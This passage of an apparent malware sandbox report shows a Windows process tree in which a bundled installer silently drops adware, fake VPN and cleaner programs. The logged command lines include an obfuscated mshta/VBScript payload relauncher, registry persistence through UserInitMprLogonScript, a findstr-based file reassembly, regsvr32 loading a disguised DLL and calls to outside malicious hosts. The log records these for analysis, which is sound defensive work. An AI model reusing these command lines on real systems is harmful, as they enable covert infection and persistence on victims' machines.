    - - C:\Users\Admin\AppData\Local\Temp\7zS840945A3\Thu21b93295136197.exe
        
        Thu21b93295136197.exe
        5⤵
        Executes dropped EXE
        
        PID:5028
      - C:\Users\Admin\AppData\Local\Temp\is-J6SS6.tmp\Thu21b93295136197.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-J6SS6.tmp\Thu21b93295136197.tmp" /SL5="$701DE,138429,56832,C:\Users\Admin\AppData\Local\Temp\7zS840945A3\Thu21b93295136197.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of FindShellTrayWindow
        
        PID:4752
        
        C:\Users\Admin\AppData\Local\Temp\is-RJ4ML.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-RJ4ML.tmp\Setup.exe" /Verysilent
        7⤵
        Executes dropped EXE
        Drops file in Program Files directory
        
        PID:5820
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplis.ru/1S2Qs7
        8⤵
        
        PID:3268
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x104,0x108,0x10c,0x100,0x110,0x7ff9e30146f8,0x7ff9e3014708,0x7ff9e3014718
        9⤵
        
        PID:4980
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2128,9548172942179560623,11639554656367100249,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2132 /prefetch:2
        9⤵
        
        PID:2540
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2128,9548172942179560623,11639554656367100249,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 /prefetch:3
        9⤵
        
        PID:3672
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2128,9548172942179560623,11639554656367100249,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2704 /prefetch:8
        9⤵
        
        PID:4344
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,9548172942179560623,11639554656367100249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3512 /prefetch:1
        9⤵
        
        PID:1600
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,9548172942179560623,11639554656367100249,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3516 /prefetch:1
        9⤵
        
        PID:3476
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,9548172942179560623,11639554656367100249,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5080 /prefetch:1
        9⤵
        
        PID:6736
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,9548172942179560623,11639554656367100249,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3740 /prefetch:1
        9⤵
        
        PID:6780
        
        C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2128,9548172942179560623,11639554656367100249,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2656 /prefetch:8
        9⤵
        
        PID:4040
        
        C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2128,9548172942179560623,11639554656367100249,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2656 /prefetch:8
        9⤵
        
        PID:5292
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,9548172942179560623,11639554656367100249,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3476 /prefetch:1
        9⤵
        Checks BIOS information in registry
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2380
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,9548172942179560623,11639554656367100249,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1232 /prefetch:1
        9⤵
        
        PID:6112
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2128,9548172942179560623,11639554656367100249,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5084 /prefetch:2
        9⤵
        
        PID:248
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,9548172942179560623,11639554656367100249,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5824 /prefetch:1
        9⤵
        
        PID:5200
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,9548172942179560623,11639554656367100249,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1892 /prefetch:1
        9⤵
        
        PID:5356
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,9548172942179560623,11639554656367100249,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5384 /prefetch:1
        9⤵
        
        PID:4868
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,9548172942179560623,11639554656367100249,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5704 /prefetch:1
        9⤵
        
        PID:6524
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,9548172942179560623,11639554656367100249,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3704 /prefetch:1
        9⤵
        
        PID:6112
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,9548172942179560623,11639554656367100249,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:1
        9⤵
        
        PID:6404
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,9548172942179560623,11639554656367100249,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5132 /prefetch:1
        9⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        
        PID:4272
        
        C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe"
        8⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4700
        
        C:\Users\Admin\AppData\Local\Temp\BSKR.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BSKR.exe"
        9⤵
        
        PID:3840
        
        C:\Users\Admin\AppData\Local\Temp\BSKR.exe
        
        C:\Users\Admin\AppData\Local\Temp\BSKR.exe
        10⤵
        
        PID:6896
        
        C:\Users\Admin\AppData\Local\Temp\BSKR.exe
        
        C:\Users\Admin\AppData\Local\Temp\BSKR.exe
        10⤵
        
        PID:1428
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1428 -s 28
        11⤵
        Program crash
        
        PID:6628
        
        C:\Users\Admin\AppData\Local\Temp\Mortician.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Mortician.exe"
        9⤵
        
        PID:4060
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c cmd < Cerchia.vsdx
        10⤵
        
        PID:6864
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd
        11⤵
        
        PID:7072
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /R "^JdxmflaMoKJKGKEonRKIDlCuNBztuuxobvTVXbusdtKZTUcnQFZrvdHmOhLNQgGwfAjlQJkqLaammCjTuVhBisMuOxuJLaA$" Attesa.vsdx
        12⤵
        
        PID:7100
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        Impedire.exe.com I
        12⤵
        
        PID:3580
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        13⤵
        
        PID:6096
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        14⤵
        
        PID:6620
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        15⤵
        
        PID:2552
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        16⤵
        
        PID:252
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        17⤵
        
        PID:5696
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        18⤵
        
        PID:4420
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        19⤵
        
        PID:5056
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        20⤵
        
        PID:5316
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        21⤵
        
        PID:2432
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        22⤵
        
        PID:6644
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        23⤵
        
        PID:1316
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        24⤵
        
        PID:5672
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        25⤵
        
        PID:1584
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        26⤵
        
        PID:2180
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        27⤵
        
        PID:6960
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        28⤵
        
        PID:6532
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        29⤵
        
        PID:1892
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com
        
        C:\Users\Admin\AppData\Roaming\Impedire.exe.com I
        30⤵
        
        PID:7000
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping localhost
        12⤵
        Runs ping.exe
        
        PID:6772
        
        C:\Users\Admin\AppData\Local\Temp\foradvertising.exe
        
        "C:\Users\Admin\AppData\Local\Temp\foradvertising.exe" /wws1
        9⤵
        
        PID:5680
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5680 -s 240
        10⤵
        Program crash
        
        PID:6660
        
        C:\Users\Admin\AppData\Local\Temp\gdgame.exe
        
        "C:\Users\Admin\AppData\Local\Temp\gdgame.exe"
        9⤵
        
        PID:4516
        
        C:\Users\Admin\AppData\Local\Temp\gdgame.exe
        
        "C:\Users\Admin\AppData\Local\Temp\gdgame.exe" -a
        10⤵
        
        PID:7108
        
        C:\Users\Admin\AppData\Local\Temp\installer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\installer.exe" /qn CAMPAIGN="710"
        9⤵
        
        PID:2212
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=710 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1630966296 /qn CAMPAIGN=""710"" " CAMPAIGN="710"
        10⤵
        
        PID:6484
        
        C:\Users\Admin\AppData\Local\Temp\IBInstaller_74449.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IBInstaller_74449.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 721
        9⤵
        
        PID:1944
        
        C:\Users\Admin\AppData\Local\Temp\is-OPEH3.tmp\IBInstaller_74449.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-OPEH3.tmp\IBInstaller_74449.tmp" /SL5="$50226,14713126,721408,C:\Users\Admin\AppData\Local\Temp\IBInstaller_74449.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 721
        10⤵
        Executes dropped EXE
        
        PID:3200
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-492RV.tmp\{app}\microsoft.cab -F:* %ProgramData%
        11⤵
        
        PID:6620
        
        C:\Windows\SysWOW64\expand.exe
        
        expand C:\Users\Admin\AppData\Local\Temp\is-492RV.tmp\{app}\microsoft.cab -F:* C:\ProgramData
        12⤵
        
        PID:5128
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\svrwebui.exe" /f
        11⤵
        
        PID:6776
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe" /f
        12⤵
        
        PID:5040
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c start http://lereknoj24.top/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=74449^&param=721
        11⤵
        
        PID:5252
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://lereknoj24.top/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq&cid=74449&param=721
        12⤵
        
        PID:6488
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x10c,0x110,0x114,0xdc,0x118,0x7ff9e30146f8,0x7ff9e3014708,0x7ff9e3014718
        13⤵
        
        PID:5196
        
        C:\Users\Admin\AppData\Local\Temp\is-492RV.tmp\{app}\vdi_compiler.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-492RV.tmp\{app}\vdi_compiler"
        11⤵
        
        PID:5524
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5524 -s 236
        12⤵
        Program crash
        
        PID:7100
        
        C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe
        
        "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe"
        11⤵
        
        PID:1492
        
        C:\Users\Admin\AppData\Local\Temp\vpn.exe
        
        "C:\Users\Admin\AppData\Local\Temp\vpn.exe" /silent /subid=720
        9⤵
        
        PID:3408
        
        C:\Users\Admin\AppData\Local\Temp\is-C2HTV.tmp\vpn.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-C2HTV.tmp\vpn.tmp" /SL5="$401F6,15170975,270336,C:\Users\Admin\AppData\Local\Temp\vpn.exe" /silent /subid=720
        10⤵
        
        PID:1632
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "
        11⤵
        
        PID:4100
        
        C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
        
        tapinstall.exe remove tap0901
        12⤵
        
        PID:6432
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "
        11⤵
        
        PID:7096
        
        C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
        
        tapinstall.exe install OemVista.inf tap0901
        12⤵
        
        PID:6116
        
        C:\Program Files (x86)\MaskVPN\mask_svc.exe
        
        "C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall
        11⤵
        
        PID:4924
        
        C:\Program Files (x86)\MaskVPN\mask_svc.exe
        
        "C:\Program Files (x86)\MaskVPN\mask_svc.exe" install
        11⤵
        
        PID:3984
        
        C:\Users\Admin\AppData\Local\Temp\Cleaner_Installation.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Cleaner_Installation.exe" SID=717 CID=717 SILENT=1 /quiet
        9⤵
        
        PID:4944
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner 1.0.0\install\FD7DF1F\Cleaner Installation.msi" SID=717 CID=717 SILENT=1 /quiet AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\Cleaner_Installation.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1630966296 SID=717 CID=717 SILENT=1 /quiet " SID="717" CID="717"
        10⤵
        
        PID:5728
        
        C:\Users\Admin\AppData\Local\Temp\askinstall45.exe
        
        "C:\Users\Admin\AppData\Local\Temp\askinstall45.exe"
        9⤵
        
        PID:5192
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5192 -s 1724
        10⤵
        Program crash
        
        PID:2572
        
        C:\Users\Admin\AppData\Local\Temp\Cube_WW12.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Cube_WW12.exe"
        9⤵
        
        PID:4200
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4200 -s 848
        10⤵
        Program crash
        
        PID:4052
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4200 -s 1824
        10⤵
        Program crash
        
        PID:2244
        
        C:\Users\Admin\AppData\Local\Temp\028d53f5224f9cc8c60bd953504f1efa.exe
        
        "C:\Users\Admin\AppData\Local\Temp\028d53f5224f9cc8c60bd953504f1efa.exe"
        9⤵
        
        PID:416
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 416 -s 236
        10⤵
        Program crash
        
        PID:3064
        
        C:\Users\Admin\AppData\Local\Temp\Cleanpro12.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Cleanpro12.exe"
        9⤵
        
        PID:1536
        
        C:\Users\Admin\Documents\u9ucYWl2him0twgt35Uudu5Y.exe
        
        "C:\Users\Admin\Documents\u9ucYWl2him0twgt35Uudu5Y.exe"
        10⤵
        
        PID:6644
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbScRIpt: CloSE ( CReATEobJECT ( "WscrIpt.SheLL").Run( "cmD.exe /Q /c TYPE ""C:\Users\Admin\Documents\u9ucYWl2him0twgt35Uudu5Y.exe"" > X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV & if """"== """" for %A IN (""C:\Users\Admin\Documents\u9ucYWl2him0twgt35Uudu5Y.exe"" ) do taskkill /f -im ""%~nxA"" " , 0, trUE ) )
        11⤵
        
        PID:6676
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /c TYPE "C:\Users\Admin\Documents\u9ucYWl2him0twgt35Uudu5Y.exe"> X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV &if ""== "" for %A IN ("C:\Users\Admin\Documents\u9ucYWl2him0twgt35Uudu5Y.exe" ) do taskkill /f -im "%~nxA"
        12⤵
        
        PID:1800
        
        C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE
        
        X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV
        13⤵
        
        PID:2988
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbScRIpt: CloSE ( CReATEobJECT ( "WscrIpt.SheLL").Run( "cmD.exe /Q /c TYPE ""C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE"" > X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV & if ""-PXPoqL0iOUHHP7hXFattB5ZvsV ""== """" for %A IN (""C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE"" ) do taskkill /f -im ""%~nxA"" " , 0, trUE ) )
        14⤵
        
        PID:3368
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /c TYPE "C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE"> X4d4XArNWDu.eXE&& StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV &if "-PXPoqL0iOUHHP7hXFattB5ZvsV "== "" for %A IN ("C:\Users\Admin\AppData\Local\Temp\X4d4XArNWDu.eXE" ) do taskkill /f -im "%~nxA"
        15⤵
        
        PID:6224
        
        C:\Windows\SysWOW64\regsvr32.exe
        
        "C:\Windows\System32\regsvr32.exe" -S fOUT6o7J.Mj
        14⤵
        
        PID:1740
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f -im "u9ucYWl2him0twgt35Uudu5Y.exe"
        13⤵
        Kills process with taskkill
        
        PID:5032
        
        C:\Users\Admin\Documents\OmtEUf87_ixAQUWZjXmlwDZf.exe
        
        "C:\Users\Admin\Documents\OmtEUf87_ixAQUWZjXmlwDZf.exe"
        10⤵
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:424
        
        C:\Users\Admin\Documents\OmtEUf87_ixAQUWZjXmlwDZf.exe
        
        C:\Users\Admin\Documents\OmtEUf87_ixAQUWZjXmlwDZf.exe
        11⤵
        
        PID:1328
        
        C:\Users\Admin\Documents\iSf5lC2G0cOaa0SCnPdgDCgY.exe
        
        "C:\Users\Admin\Documents\iSf5lC2G0cOaa0SCnPdgDCgY.exe"
        10⤵
        
        PID:7148
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7148 -s 292
        11⤵
        Program crash
        
        PID:4848
        
        C:\Users\Admin\Documents\mQTmVC47I1dFs1bhCR_vcbNC.exe
        
        "C:\Users\Admin\Documents\mQTmVC47I1dFs1bhCR_vcbNC.exe"
        10⤵
        
        PID:4136
        
        C:\Users\Admin\Documents\mQTmVC47I1dFs1bhCR_vcbNC.exe
        
        "C:\Users\Admin\Documents\mQTmVC47I1dFs1bhCR_vcbNC.exe"
        11⤵
        
        PID:5316
        
        C:\Users\Admin\Documents\mQTmVC47I1dFs1bhCR_vcbNC.exe
        
        "C:\Users\Admin\Documents\mQTmVC47I1dFs1bhCR_vcbNC.exe"
        11⤵
        
        PID:5056
        
        C:\Users\Admin\Documents\7LpKuAVgo7R3ghYIgwJQAoRB.exe
        
        "C:\Users\Admin\Documents\7LpKuAVgo7R3ghYIgwJQAoRB.exe"
        10⤵
        
        PID:6508
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6508 -s 280
